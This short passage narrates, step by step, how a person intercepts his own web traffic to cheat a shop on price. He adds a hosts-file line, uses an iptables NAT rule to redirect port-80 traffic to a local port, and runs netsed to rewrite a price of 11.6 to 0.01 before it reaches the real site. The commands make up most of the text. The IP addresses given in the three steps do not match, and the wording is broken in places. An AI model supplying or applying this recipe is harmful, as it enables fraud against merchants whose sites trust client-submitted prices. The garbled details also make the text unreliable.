he first changed his hosts file by adding a line: 220.127.116.11 www.mydomain.com
then he uses iptable command to reroute the traffic to port 10101 on his laptop
iptables -t nat -I OUTPUT 1 -d 18.104.22.168 -p tcp --dport 80 -j REDIRECT --to 10101
then he uses netsed to change the replace the price and send it to the real site again
netsed tcp 10101 22.214.171.124 80 's/11.6/0.01/'